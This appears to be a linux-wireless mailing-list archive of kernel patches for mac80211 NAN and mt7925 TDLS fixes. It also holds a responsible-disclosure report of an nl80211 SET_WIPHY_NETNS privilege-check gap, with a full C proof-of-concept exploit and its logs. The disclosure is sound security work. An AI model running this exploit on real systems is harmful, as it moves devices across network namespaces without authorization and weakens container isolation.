* [PATCH v3 wireless-next 01/15] wifi: mac80211: track the id of the NAN cluster we joined
From: Miri Korenblit @ 2026-05-03 8:58 UTC (permalink / raw)
To: linux-wireless
In-Reply-To: <20260503085907.257378-1-miriam.rachel.korenblit@intel.com>
Currently, we store in nan.conf the cluster id that was configured from
upper layer to be used when the device opens a cluster.
But after we joined a cluster, the configured cluster id is no longer
relevant. Particularly, in reconfig we will give the driver the
(possibly) wrong cluster id.
Add an API to be called by the driver when joined a cluster
in which the cluster id will be updated.
Use the locally stored cluster id instead of cfg80211's copy.
Ignore cluster id updates from cfg80211 if we already have one
configured.
Adjust the drivers that use the cfg80211 API
(cfg80211_nan_cluster_joined) directly, otherwise we break functionality
(i.e. accept frame check won't evaluate to true).
Signed-off-by: Miri Korenblit <miriam.rachel.korenblit@intel.com>
---
include/net/mac80211.h | 14 ++++++++++++++
net/mac80211/cfg.c | 19 +++++++++++++++++++
net/mac80211/rx.c | 4 ++--
net/mac80211/tx.c | 2 +-
4 files changed, 36 insertions(+), 3 deletions(-)
diff --git a/include/net/mac80211.h b/include/net/mac80211.h
index 02318a4be0e1..0d1b1d726b9c 100644
--- a/include/net/mac80211.h
+++ b/include/net/mac80211.h
@@ -7891,6 +7891,20 @@ void ieee80211_nan_func_match(struct ieee80211_vif *vif,
*/
void ieee80211_nan_sched_update_done(struct ieee80211_vif *vif);
+/**
+ * ieee80211_nan_cluster_joined - notify about NAN cluster join.
+ *
+ * This function is used to notify mac80211 about NAN cluster join.
+ *
+ * @vif: &struct ieee80211_vif pointer from the add_interface callback.
+ * @cluster_id: the cluster ID that was joined
+ * @new_cluster: true if this is a new cluster
+ * @gfp: allocation flags
+ */
+void ieee80211_nan_cluster_joined(struct ieee80211_vif *vif,
+ const u8 *cluster_id, bool new_cluster,
+ gfp_t gfp);
+
/**
* ieee80211_calc_rx_airtime - calculate estimated transmission airtime for RX.
*
diff --git a/net/mac80211/cfg.c b/net/mac80211/cfg.c
index 00261bd6674b..c71af8878562 100644
--- a/net/mac80211/cfg.c
+++ b/net/mac80211/cfg.c
@@ -5215,6 +5215,25 @@ void ieee80211_nan_func_match(struct ieee80211_vif *vif,
}
EXPORT_SYMBOL(ieee80211_nan_func_match);
+void ieee80211_nan_cluster_joined(struct ieee80211_vif *vif,
+ const u8 *cluster_id, bool new_cluster,
+ gfp_t gfp)
+{
+ struct ieee80211_sub_if_data *sdata = vif_to_sdata(vif);
+
+ if (WARN_ON(vif->type != NL80211_IFTYPE_NAN))
+ return;
+
+ if (WARN_ON(!sdata->u.nan.started))
+ return;
+
+ ether_addr_copy(sdata->u.nan.conf.cluster_id, cluster_id);
+
+ cfg80211_nan_cluster_joined(ieee80211_vif_to_wdev(vif), cluster_id,
+ new_cluster, gfp);
+}
+EXPORT_SYMBOL(ieee80211_nan_cluster_joined);
+
static int ieee80211_set_multicast_to_unicast(struct wiphy *wiphy,
struct net_device *dev,
const bool enabled)
diff --git a/net/mac80211/rx.c b/net/mac80211/rx.c
index 3e5d1c47a5b0..82ea7404f3da 100644
--- a/net/mac80211/rx.c
+++ b/net/mac80211/rx.c
@@ -4629,7 +4629,7 @@ static bool ieee80211_accept_frame(struct ieee80211_rx_data *rx)
* action frames or authentication frames that are addressed to
* the local NAN interface.
*/
- return memcmp(sdata->wdev.u.nan.cluster_id,
+ return memcmp(sdata->u.nan.conf.cluster_id,
hdr->addr3, ETH_ALEN) == 0 &&
(ieee80211_is_public_action(hdr, skb->len) ||
(ieee80211_is_auth(hdr->frame_control) &&
@@ -4646,7 +4646,7 @@ static bool ieee80211_accept_frame(struct ieee80211_rx_data *rx)
if (!nmi)
return false;
- if (!ether_addr_equal(nmi->wdev.u.nan.cluster_id,
+ if (!ether_addr_equal(nmi->u.nan.conf.cluster_id,
hdr->addr3))
return false;
diff --git a/net/mac80211/tx.c b/net/mac80211/tx.c
index 8e4876d1c544..1702f816419b 100644
--- a/net/mac80211/tx.c
+++ b/net/mac80211/tx.c
@@ -2854,7 +2854,7 @@ static struct sk_buff *ieee80211_build_hdr(struct ieee80211_sub_if_data *sdata,
ret = -ENOTCONN;
goto free;
}
- memcpy(hdr.addr3, nmi->wdev.u.nan.cluster_id, ETH_ALEN);
+ memcpy(hdr.addr3, nmi->u.nan.conf.cluster_id, ETH_ALEN);
hdrlen = 24;
break;
}
--
2.34.1
^ permalink raw reply related
* [PATCH v3 wireless-next 00/15] wifi: mac80211: more NAN patches
From: Miri Korenblit @ 2026-05-03 8:58 UTC (permalink / raw)
To: linux-wireless
Hi,
This series adds a few more NAN features to mac80211 and mainly hwsim
support.
Thanks,
Miri
---
Andrei Otcheretianski (1):
wifi: mac80211: Fix a kernel panic in ieee80211_encrypt_tx_skb()
Avraham Stern (1):
wifi: mac80211: accept protected frames for NAN device
Benjamin Berg (8):
wifi: mac80211_hwsim: remove unused nan_vif struct member
wifi: mac80211_hwsim: move NAN related variables into a struct
wifi: mac80211_hwsim: split NAN handling into separate file
wifi: mac80211_hwsim: rename and switch simulation time to boottime
wifi: mac80211_hwsim: move timestamp writing later in the datapath
wifi: mac80211_hwsim: register beacon timer by calculating TBTT
wifi: mac80211_hwsim: refactor NAN timer handling
wifi: mac80211_hwsim: switch to use TXQs
Ilan Peer (2):
wifi: mac80211: allow userspace TX/RX over NAN Data interfaces
wifi: mac80211: Allow setting MAC address on interface creation
Miri Korenblit (3):
wifi: mac80211: track the id of the NAN cluster we joined
wifi: mac80211: avoid out-of-bounds access in monitor
wifi: mac80211: add NAN channel evacuation support
MAINTAINERS | 2 +-
drivers/net/wireless/virtual/Makefile | 2 +
.../net/wireless/virtual/mac80211_hwsim_i.h | 139 +++++
...mac80211_hwsim.c => mac80211_hwsim_main.c} | 508 +++++-------------
.../net/wireless/virtual/mac80211_hwsim_nan.c | 233 ++++++++
.../net/wireless/virtual/mac80211_hwsim_nan.h | 36 ++
include/net/mac80211.h | 29 +
net/mac80211/cfg.c | 19 +
net/mac80211/chan.c | 28 +-
net/mac80211/iface.c | 7 +-
net/mac80211/main.c | 4 +
net/mac80211/nan.c | 126 +++++
net/mac80211/offchannel.c | 9 +-
net/mac80211/rx.c | 26 +-
net/mac80211/status.c | 9 +-
net/mac80211/tx.c | 18 +-
16 files changed, 786 insertions(+), 409 deletions(-)
create mode 100644 drivers/net/wireless/virtual/mac80211_hwsim_i.h
rename drivers/net/wireless/virtual/{mac80211_hwsim.c => mac80211_hwsim_main.c} (94%)
create mode 100644 drivers/net/wireless/virtual/mac80211_hwsim_nan.c
create mode 100644 drivers/net/wireless/virtual/mac80211_hwsim_nan.h
--
2.34.1
---
v2: fix MAINTAINERS file to include the newly added files
v3: fix an "always true" check in commit "split NAN handling into separate file"
^ permalink raw reply
* nl80211: SET_WIPHY_NETNS does not check caller's CAP_NET_ADMIN over the target netns
From: Xie Maoyi @ 2026-05-03 6:55 UTC (permalink / raw)
To: johannes@sipsolutions.net
Cc: linux-wireless@vger.kernel.org, linux-kernel@vger.kernel.org
[-- Attachment #1: Type: text/plain, Size: 5236 bytes --]
Hi Johannes,
I think I have found two related namespace handling gaps in nl80211 on v7.0 mainline. I would appreciate your view on whether they are bugs and whether they are worth fixing. The second one is much narrower than the first.
Bug A: NL80211_CMD_SET_WIPHY_NETNS does not check the target netns.
nl80211_wiphy_netns() is around line 13538 in net/wireless/nl80211.c. It resolves the target netns from NL80211_ATTR_PID or NL80211_ATTR_NETNS_FD. It then calls cfg80211_switch_netns() right away. The genl op flag GENL_UNS_ADMIN_PERM only checks CAP_NET_ADMIN over the caller's own user namespace. There is no check against the target netns.
By comparison, net/core/rtnetlink.c::rtnl_get_net_ns_capable() spells out the convention:
/* For now, the caller is required to have CAP_NET_ADMIN in
* the user namespace owning the target net ns. */
if (!sk_ns_capable(sk, net->user_ns, CAP_NET_ADMIN))
return ERR_PTR(-EACCES);
So a caller that has CAP_NET_ADMIN only in their own user namespace can push a wiphy into any netns whose fd or pid they can resolve. This includes init_net. The wiphy must have WIPHY_FLAG_NETNS_OK set. That flag is set by mac80211_hwsim. It is also set on any wiphy that an administrator has delegated into a container.
Reproducer (poc_nl80211_setns.c, attached). Tested on a KASAN VM with mac80211_hwsim radios=1 in init_net.
1. Real root in init_net spawns hwsim phyN.
2. fork(). Child runs unshare(CLONE_NEWUSER | CLONE_NEWNET) and writes a 0-mapped uid_map to become "root" in its own user_ns.
3. Real root migrates phyN into the child's netns. This is the legitimate admin step. Container Wi-Fi delegation does the same thing.
4. Child issues NL80211_CMD_SET_WIPHY_NETNS with NL80211_ATTR_NETNS_FD pointing at init_net's netns fd.
5. The kernel honours the request. phyN moves back to init_net. The caller has no CAP_NET_ADMIN in init_net.
Vanilla output (poc_vanilla.log, attached):
[child] uid=0 netns=net:[4026532261]
[child] BUG: SET_WIPHY_NETNS to init_net SUCCEEDED from attacker userns/netns without CAP_NET_ADMIN over init_net
[init_net after child finished] /sys/class/ieee80211 = phyN
The final line shows phyN back in init_net.
Bug B: nl80211_prepare_wdev_dump() continuation does not re-check netns.
The first dumpit invocation validates the wdev against the caller via __cfg80211_wdev_from_attrs(..., sock_net(cb->skb->sk), ...). Subsequent invocations look up the wiphy by global index via wiphy_idx_to_wiphy(). They do not re-check sock_net(cb->skb->sk) against the wiphy's current netns.
Other dump paths in the same file do this check on every iteration. See nl80211_dump_wiphy() at line 3437 and the parallel scheduled scan dump at line 4420.
If a wiphy moves between dumpit invocations of NL80211_CMD_GET_SCAN via NL80211_CMD_SET_WIPHY_NETNS, the dump silently keeps copying BSS list contents from the wiphy's new netns into the caller's netns. On its own this race needs a separate caller to migrate the wiphy mid-dump. With bug A, the attacker can arrange the race themselves.
What I tested on
* Linux v7.0 vanilla mainline tag, x86_64.
* KASAN+lockdep enabled, bookworm rootfs, qemu-kvm.
* mac80211_hwsim built as a module.
* Reproducer compiled with plain gcc, raw genetlink, no liburing
or libnl dependency.
Note on the post-fix log
The post-fix log ends with an empty /sys/class/ieee80211 listing. This is not a patch side effect. The patched kernel correctly rejects the child's SET_WIPHY_NETNS with -EPERM, so phyN stays in the child's netns. When the child exits, that netns is destroyed.
mac80211_hwsim's pernet_exit handler then cleans up the wiphy. So init_net sees nothing, which is the expected cleanup path. The relevant signal in the post-fix log is the EPERM line:
[child] SET_WIPHY_NETNS to init_net rc=-1 (Operation not permitted) (correctly rejected)
I have a small two-patch series against v7.0 that closes both gaps. Patch 1/2 mirrors rtnl_get_net_ns_capable() in nl80211_wiphy_netns(). Patch 2/2 adds the missing net_eq() check in nl80211_prepare_wdev_dump()'s continuation branch. I have re-run the same reproducer against the patched kernel. The attacker's SET_WIPHY_NETNS now returns -EPERM. The legitimate admin path is unaffected.
I would prefer to send the patches as a separate thread once you have had a chance to look at the report and tell me whether and how you would like them fixed.
Attachments:
poc_nl80211_setns.c -- C reproducer, raw genetlink
poc_vanilla.log -- reproducer output on vanilla v7.0
poc_post_patch.log -- reproducer output on the patched v7.0 (attacker now gets -EPERM)
Thanks for taking a look. Apologies in advance if this is already known or out of scope.
Best regards,
Maoyi
Nanyang Technological University
https://maoyixie.com/
________________________________
CONFIDENTIALITY: This email is intended solely for the person(s) named and may be confidential and/or privileged. If you are not the intended recipient, please delete it, notify us and do not copy, use, or disclose its contents.
Towards a sustainable earth: Print only when necessary. Thank you.
[-- Attachment #2: poc_post_patch.log --]
[-- Type: application/octet-stream, Size: 647 bytes --]
[parent] using phy1 wiphy_idx=1
=== Initial state (init_net) ===
[init_net] /sys/class/ieee80211 = phy1
[child] uid=0 netns=net:[4026532261] (waiting for wiphy)
[parent] child ready, moving phy0 -> child netns
[parent] phy0 moved into child netns
[init_net after move-out] /sys/class/ieee80211 = [child] parent moved phy0 into my netns
[child after move-in] /sys/class/ieee80211 = [child] nl80211 family_id=28
[child] SET_WIPHY_NETNS to init_net rc=-1 (Operation not permitted) (correctly rejected)
[child after attempted move-out] /sys/class/ieee80211 = [parent] child exited, final state:
[init_net after child finished] /sys/class/ieee80211 =
[-- Attachment #3: poc_vanilla.log --]
[-- Type: application/octet-stream, Size: 689 bytes --]
[parent] using phy3 wiphy_idx=3
=== Initial state (init_net) ===
[init_net] /sys/class/ieee80211 = phy3
[child] uid=0 netns=net:[4026532261] (waiting for wiphy)
[parent] child ready, moving phy0 -> child netns
[parent] phy0 moved into child netns
[init_net after move-out] /sys/class/ieee80211 = [child] parent moved phy0 into my netns
[child after move-in] /sys/class/ieee80211 = [child] nl80211 family_id=28
[child] *** BUG: SET_WIPHY_NETNS to init_net SUCCEEDED from attacker userns/netns without CAP_NET_ADMIN over init_net ***
[child after attempted move-out] /sys/class/ieee80211 = phy3
[parent] child exited, final state:
[init_net after child finished] /sys/class/ieee80211 = phy3
[-- Attachment #4: poc_nl80211_setns.c --]
[-- Type: text/plain, Size: 13173 bytes --]
/*
* PoC for nl80211 missing target-netns CAP_NET_ADMIN check in
* NL80211_CMD_SET_WIPHY_NETNS, plus the related dump-scan continuation
* netns recheck gap in nl80211_prepare_wdev_dump.
*
* Bug A (target-cap missing): NL80211_CMD_SET_WIPHY_NETNS only checks
* CAP_NET_ADMIN over the netlink socket's netns. It does NOT check
* that the caller has CAP_NET_ADMIN over the *target* netns. Compare
* net/core/rtnetlink.c::rtnl_get_net_ns_capable() which mandates this
* check.
*
* Setup: we need a wiphy in the attacker's netns to start. Real-world
* scenarios where this happens: admin grants Wi-Fi to a container;
* mac80211_hwsim spawned in attacker's netns; SR-IOV WiFi VFs assigned.
* For this PoC we use mac80211_hwsim and have init_net root migrate the
* wiphy into the attacker's netns first, then verify the attacker (with
* only fake-root via userns) can move it out without CAP_NET_ADMIN over
* the destination netns.
*
* Build: gcc poc_nl80211_setns.c -o poc_nl80211_setns
* Run as root on a kernel with mac80211_hwsim loaded.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <signal.h>
#include <stdint.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <linux/netlink.h>
#include <linux/genetlink.h>
#define NL80211_FAMILY "nl80211"
/* From <linux/nl80211.h> */
#define NL80211_CMD_GET_WIPHY 1
#define NL80211_CMD_SET_WIPHY_NETNS 49 /* 0x31, verified from UAPI */
#define NL80211_ATTR_WIPHY 1
#define NL80211_ATTR_PID 82
#define NL80211_ATTR_NETNS_FD 219
struct nl_state {
int sk;
uint16_t family_id;
uint32_t pid;
};
static int nl_open(struct nl_state *st)
{
st->sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (st->sk < 0) { perror("socket(NETLINK_GENERIC)"); return -1; }
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
if (bind(st->sk, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
perror("bind"); return -1;
}
socklen_t slen = sizeof(sa);
if (getsockname(st->sk, (struct sockaddr *)&sa, &slen) < 0) {
perror("getsockname"); return -1;
}
st->pid = sa.nl_pid;
return 0;
}
/* Resolve the nl80211 family ID + the SET_WIPHY_NETNS cmd ID via
* CTRL_CMD_GETFAMILY. */
static int nl_resolve_family(struct nl_state *st, int *cmd_set_netns,
int *cmd_get_wiphy)
{
char buf[4096] = {0};
struct nlmsghdr *nh = (struct nlmsghdr *)buf;
nh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
nh->nlmsg_type = GENL_ID_CTRL;
nh->nlmsg_flags = NLM_F_REQUEST;
nh->nlmsg_seq = 1;
nh->nlmsg_pid = st->pid;
struct genlmsghdr *gh = NLMSG_DATA(nh);
gh->cmd = CTRL_CMD_GETFAMILY;
gh->version = 1;
/* Add CTRL_ATTR_FAMILY_NAME = "nl80211" */
struct nlattr *na = (struct nlattr *)((char *)gh + GENL_HDRLEN);
na->nla_type = CTRL_ATTR_FAMILY_NAME;
int slen = strlen(NL80211_FAMILY) + 1;
na->nla_len = NLA_HDRLEN + slen;
memcpy((char *)na + NLA_HDRLEN, NL80211_FAMILY, slen);
nh->nlmsg_len += NLA_ALIGN(na->nla_len);
if (send(st->sk, nh, nh->nlmsg_len, 0) < 0) {
perror("send(GETFAMILY)"); return -1;
}
char rbuf[8192];
int n = recv(st->sk, rbuf, sizeof(rbuf), 0);
if (n < 0) { perror("recv"); return -1; }
nh = (struct nlmsghdr *)rbuf;
if (nh->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *e = NLMSG_DATA(nh);
fprintf(stderr, "GETFAMILY error %d (%s)\n", -e->error, strerror(-e->error));
return -1;
}
/* Walk attrs. We need CTRL_ATTR_FAMILY_ID and the OPS list. */
gh = NLMSG_DATA(nh);
char *p = (char *)gh + GENL_HDRLEN;
char *end = (char *)nh + nh->nlmsg_len;
*cmd_set_netns = -1;
*cmd_get_wiphy = -1;
while (p + NLA_HDRLEN <= end) {
struct nlattr *a = (struct nlattr *)p;
if (a->nla_len < NLA_HDRLEN) break;
char *adata = p + NLA_HDRLEN;
switch (a->nla_type & NLA_TYPE_MASK) {
case CTRL_ATTR_FAMILY_ID:
st->family_id = *(uint16_t *)adata;
break;
case CTRL_ATTR_OPS: {
char *oend = p + a->nla_len;
char *op = adata;
while (op + NLA_HDRLEN <= oend) {
struct nlattr *opa = (struct nlattr *)op;
if (opa->nla_len < NLA_HDRLEN) break;
/* opa is each op as nested. */
char *opd = op + NLA_HDRLEN;
char *opdend = op + opa->nla_len;
int op_id = -1;
while (opd + NLA_HDRLEN <= opdend) {
struct nlattr *fa = (struct nlattr *)opd;
if (fa->nla_len < NLA_HDRLEN) break;
if ((fa->nla_type & NLA_TYPE_MASK) == CTRL_ATTR_OP_ID) {
op_id = *(uint32_t *)(opd + NLA_HDRLEN);
}
opd += NLA_ALIGN(fa->nla_len);
}
/* We don't get cmd names back, but we know the enum
* positions: GET_WIPHY=1, SET_WIPHY_NETNS=33 in v7.0. */
op = op + NLA_ALIGN(opa->nla_len);
(void)op_id;
}
break;
}
}
p += NLA_ALIGN(a->nla_len);
}
/* Use the canonical enum values. NL80211_CMD_SET_WIPHY_NETNS = 49 */
*cmd_set_netns = NL80211_CMD_SET_WIPHY_NETNS;
*cmd_get_wiphy = NL80211_CMD_GET_WIPHY;
return 0;
}
/* Send NL80211_CMD_SET_WIPHY_NETNS for wiphy_idx, target=netns_fd.
* Returns 0 on success, -errno otherwise. */
static int send_set_wiphy_netns(struct nl_state *st, int wiphy_idx,
int netns_fd, int cmd_id)
{
char buf[1024] = {0};
struct nlmsghdr *nh = (struct nlmsghdr *)buf;
nh->nlmsg_type = st->family_id;
nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nh->nlmsg_seq = 42;
nh->nlmsg_pid = st->pid;
nh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
struct genlmsghdr *gh = NLMSG_DATA(nh);
gh->cmd = cmd_id;
gh->version = 1;
/* NL80211_ATTR_WIPHY (u32) */
struct nlattr *a = (struct nlattr *)((char *)nh + nh->nlmsg_len);
a->nla_type = NL80211_ATTR_WIPHY;
a->nla_len = NLA_HDRLEN + sizeof(uint32_t);
*(uint32_t *)((char *)a + NLA_HDRLEN) = wiphy_idx;
nh->nlmsg_len += NLA_ALIGN(a->nla_len);
/* NL80211_ATTR_NETNS_FD (u32) */
a = (struct nlattr *)((char *)nh + nh->nlmsg_len);
a->nla_type = NL80211_ATTR_NETNS_FD;
a->nla_len = NLA_HDRLEN + sizeof(uint32_t);
*(uint32_t *)((char *)a + NLA_HDRLEN) = netns_fd;
nh->nlmsg_len += NLA_ALIGN(a->nla_len);
if (send(st->sk, nh, nh->nlmsg_len, 0) < 0) {
perror("send(SET_WIPHY_NETNS)"); return -errno;
}
char rbuf[1024];
int n = recv(st->sk, rbuf, sizeof(rbuf), 0);
if (n < 0) { perror("recv"); return -errno; }
nh = (struct nlmsghdr *)rbuf;
if (nh->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *e = NLMSG_DATA(nh);
return e->error; /* 0 on success, negative errno on failure */
}
return 0;
}
static void show_phy(const char *who) {
fprintf(stderr, "[%s] /sys/class/ieee80211 = ", who);
char buf[256];
snprintf(buf, sizeof(buf), "ls /sys/class/ieee80211 2>&1");
FILE *f = popen(buf, "r");
if (f) {
char line[64];
while (fgets(line, sizeof(line), f)) fprintf(stderr, "%s", line);
fclose(f);
}
}
int main(int argc, char **argv)
{
/* Discover the wiphy_idx of the first hwsim phy in init_net by
* reading /sys/class/ieee80211/<name>/index. */
int wiphy_idx = -1;
{
FILE *f = popen("ls /sys/class/ieee80211 2>/dev/null | head -n1", "r");
char name[64];
if (f && fgets(name, sizeof(name), f)) {
name[strcspn(name, "\n")] = 0;
char path[128];
snprintf(path, sizeof(path), "/sys/class/ieee80211/%s/index", name);
FILE *g = fopen(path, "r");
if (g) { fscanf(g, "%d", &wiphy_idx); fclose(g); }
fprintf(stderr, "[parent] using %s wiphy_idx=%d\n", name, wiphy_idx);
}
if (f) pclose(f);
}
if (wiphy_idx < 0) {
fprintf(stderr, "no wiphy in /sys/class/ieee80211, ensure hwsim loaded\n");
return 2;
}
fprintf(stderr, "=== Initial state (init_net) ===\n");
show_phy("init_net");
/* Step 1: open init_net netns fd to use as target later. */
int init_netns_fd = open("/proc/self/ns/net", O_RDONLY);
if (init_netns_fd < 0) { perror("open /proc/self/ns/net"); return 2; }
/* Step 2: fork a child that:
* a) unshare(CLONE_NEWUSER | CLONE_NEWNET) -> assert "fake root"
* in attacker user_ns + fresh netns.
* b) parent (still in init_net) moves phy0 into child's netns
* via legitimate SET_WIPHY_NETNS (we have real CAP_NET_ADMIN
* in init_net for that step, mirroring an admin grant).
* c) child waits for parent to signal "done", then issues
* NL80211_CMD_SET_WIPHY_NETNS targeting init_net (where the
* child has NO CAP_NET_ADMIN).
* d) if the kernel honours that command, the wiphy moves back
* into init_net even though the attacker has no privilege
* over init_net -- bug confirmed.
*/
int p2c[2], c2p[2];
pipe(p2c); pipe(c2p);
pid_t cpid = fork();
if (cpid < 0) { perror("fork"); return 2; }
if (cpid == 0) {
close(p2c[1]); close(c2p[0]);
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
perror("[child] unshare"); _exit(2);
}
/* fake root via uid_map 0 0 1 */
char b[64]; int fd, n;
if ((fd = open("/proc/self/setgroups", O_WRONLY)) >= 0) { write(fd,"deny",4); close(fd); }
fd = open("/proc/self/uid_map", O_WRONLY);
n = snprintf(b,sizeof(b),"0 0 1\n"); write(fd,b,n); close(fd);
fd = open("/proc/self/gid_map", O_WRONLY);
n = snprintf(b,sizeof(b),"0 0 1\n"); write(fd,b,n); close(fd);
char nsa[64]; int rl = readlink("/proc/self/ns/net", nsa, 63);
if (rl > 0) nsa[rl] = 0;
fprintf(stderr, "[child] uid=%u netns=%s (waiting for wiphy)\n",
getuid(), nsa);
/* Tell parent to move phy0 to my netns. */
write(c2p[1], "READY", 5);
/* Wait until parent signals it's done. */
char tmp[8];
read(p2c[0], tmp, sizeof(tmp));
fprintf(stderr, "[child] parent moved phy0 into my netns\n");
show_phy("child after move-in");
/* Now attempt the bug: SET_WIPHY_NETNS to send wiphy to init_net,
* where attacker has no CAP_NET_ADMIN. */
struct nl_state st = {0};
if (nl_open(&st) < 0) _exit(2);
int cmd_set, cmd_get;
if (nl_resolve_family(&st, &cmd_set, &cmd_get) < 0) {
fprintf(stderr, "[child] nl80211 family resolve failed\n");
_exit(2);
}
fprintf(stderr, "[child] nl80211 family_id=%u\n", st.family_id);
/* phy0 is wiphy_idx=0 (first hwsim radio) */
int rc = send_set_wiphy_netns(&st, wiphy_idx, init_netns_fd, cmd_set);
if (rc == 0) {
fprintf(stderr,
"[child] *** BUG: SET_WIPHY_NETNS to init_net SUCCEEDED "
"from attacker userns/netns without CAP_NET_ADMIN over init_net ***\n");
} else {
fprintf(stderr,
"[child] SET_WIPHY_NETNS to init_net rc=%d (%s) %s\n",
rc, strerror(-rc),
rc == -EACCES || rc == -EPERM ? "(correctly rejected)" :
"(some other error)");
}
show_phy("child after attempted move-out");
write(c2p[1], "DONE", 4);
close(st.sk);
_exit(0);
}
close(p2c[0]); close(c2p[1]);
/* Parent (init_net) waits for child READY, then moves phy0 to child. */
char tmp[8];
read(c2p[0], tmp, sizeof(tmp));
fprintf(stderr, "[parent] child ready, moving phy0 -> child netns\n");
/* We need child's netns_fd. */
char path[64];
snprintf(path, sizeof(path), "/proc/%d/ns/net", cpid);
int child_netns_fd = open(path, O_RDONLY);
if (child_netns_fd < 0) { perror("[parent] open child netns"); kill(cpid,SIGKILL); return 2; }
struct nl_state pst = {0};
if (nl_open(&pst) < 0) return 2;
int cmd_set, cmd_get;
if (nl_resolve_family(&pst, &cmd_set, &cmd_get) < 0) {
fprintf(stderr, "[parent] family resolve failed\n");
return 2;
}
int rc = send_set_wiphy_netns(&pst, wiphy_idx, child_netns_fd, cmd_set);
if (rc != 0) {
fprintf(stderr, "[parent] move-in failed rc=%d (%s)\n", rc, strerror(-rc));
kill(cpid, SIGKILL); return 2;
}
fprintf(stderr, "[parent] phy0 moved into child netns\n");
show_phy("init_net after move-out");
close(pst.sk);
write(p2c[1], "GO", 2);
read(c2p[0], tmp, sizeof(tmp));
int status; waitpid(cpid, &status, 0);
fprintf(stderr, "[parent] child exited, final state:\n");
show_phy("init_net after child finished");
close(init_netns_fd); close(child_netns_fd);
return 0;
}
^ permalink raw reply
* [PATCH 2/2] wifi: mt76: mt7925: don't disable AP BSS when removing TDLS peer
From: ElXreno @ 2026-05-03 1:38 UTC (permalink / raw)
To: Felix Fietkau, Lorenzo Bianconi, Ryder Lee, Shayne Chen,
Sean Wang, Matthias Brugger, AngeloGioacchino Del Regno,
Soul Huang, Ming Yen Hsieh, Deren Wu
Cc: linux-wireless, linux-kernel, linux-arm-kernel, linux-mediatek,
stable, ElXreno
In-Reply-To: <20260503-mt7925-tdls-fixes-v1-0-dde847e21081@gmail.com>
On a STATION vif, removing a TDLS peer takes the mt7925_mac_sta_remove
-> mt7925_mac_sta_remove_links path. The first loop in that function
calls mt7925_mcu_add_bss_info(..., enable=false) for every link of the
station being removed. For a non-MLO STATION vif there is exactly one
link, link 0, whose bss_conf is the AP's. TDLS peers do not have their
own bss_conf - they share the AP's BSS.
The result is that every TDLS peer teardown sends a BSS_INFO_UPDATE
with enable=0 for the AP's BSS to the firmware, which wipes the AP-side
rate-control context. The connection stays associated and TX from the
host still works at the negotiated rate, but the AP's downlink to us
collapses to the lowest mandatory OFDM rate (HE-MCS 0 / 6 Mbit/s OFDM)
and only slowly recovers as rate adaptation re-learns under sustained
traffic. With brief or bursty traffic the link can stay at 6-72 Mbit/s
indefinitely, requiring a manual reconnect.
mt7925_mac_link_sta_remove() already guards its own
mt7925_mcu_add_bss_info(..., false) call with
"vif->type == NL80211_IFTYPE_STATION && !link_sta->sta->tdls".
Add the equivalent guard at the top of the cleanup loop in
mt7925_mac_sta_remove_links(), above the link_sta / link_conf /
mlink / mconf lookups, so TDLS peer teardown skips the loop body
entirely without doing the per-link work that would just be thrown
away.
Verified on mt7925e by triggering Samsung-S938B auto-TDLS via iperf3
and watching iw rx bitrate after teardown:
Before: rx bitrate collapses to 6.0-72.0 Mbit/s, oscillates 17/72/
137/288/432 Mbit/s for 30+ seconds, no full recovery without
an NM reconnect.
After: rx bitrate stays at 1200.9 Mbit/s HE-MCS 11 NSS 2 80 MHz
across the entire TDLS lifecycle.
bpftrace confirms a single mt7925_mcu_add_bss_info(enable=0) call per
teardown before the fix; zero such calls after.
Fixes: 3878b4333602 ("wifi: mt76: mt7925: update mt7925_mac_link_sta_[add, assoc, remove] for MLO")
Cc: stable@vger.kernel.org
Signed-off-by: ElXreno <elxreno@gmail.com>
Assisted-by: Claude:claude-opus-4-7 bpftrace
---
drivers/net/wireless/mediatek/mt76/mt7925/main.c | 10 ++++++++++
1 file changed, 10 insertions(+)
diff --git a/drivers/net/wireless/mediatek/mt76/mt7925/main.c b/drivers/net/wireless/mediatek/mt76/mt7925/main.c
index 73d3722739d0..7220bf2c0afa 100644
--- a/drivers/net/wireless/mediatek/mt76/mt7925/main.c
+++ b/drivers/net/wireless/mediatek/mt76/mt7925/main.c
@@ -1265,6 +1265,16 @@ mt7925_mac_sta_remove_links(struct mt792x_dev *dev, struct ieee80211_vif *vif,
if (vif->type == NL80211_IFTYPE_AP)
break;
+ /* TDLS peers on a STATION vif share the AP's bss_conf. The
+ * link_conf retrieved below would be the AP's, and calling
+ * mcu_add_bss_info(..., false) for a TDLS peer teardown
+ * would disable the AP's BSS in firmware, wiping its
+ * rate-control context. mt7925_mac_link_sta_remove() has
+ * the symmetric guard for its own bss-info call.
+ */
+ if (vif->type == NL80211_IFTYPE_STATION && sta->tdls)
+ continue;
+
link_sta = mt792x_sta_to_link_sta(vif, sta, link_id);
if (!link_sta)
continue;
--
2.53.0
^ permalink raw reply related
* [PATCH 1/2] wifi: mt76: mt792x: disable HW TX/RX encap offload to fix TDLS direct-link
From: ElXreno @ 2026-05-03 1:38 UTC (permalink / raw)
To: Felix Fietkau, Lorenzo Bianconi, Ryder Lee, Shayne Chen,
Sean Wang, Matthias Brugger, AngeloGioacchino Del Regno,
Soul Huang, Ming Yen Hsieh, Deren Wu
Cc: linux-wireless, linux-kernel, linux-arm-kernel, linux-mediatek,
stable, ElXreno
In-Reply-To: <20260503-mt7925-tdls-fixes-v1-0-dde847e21081@gmail.com>
On MediaTek MT7925 (Connac3), QoS Data frames whose destination WCID
is a TDLS direct-link peer are silently dropped after submission to
firmware via the HW_80211_ENCAP TX path. The driver sees submit and
complete counts match (firmware reports success on TX queue
submission), but the frames never reach the PHY. iw counters show
tx_packets growing, tx_failed = 0, tx_retries low; on the air,
nothing.
This breaks TDLS direct-link as soon as a peer auto-initiates one
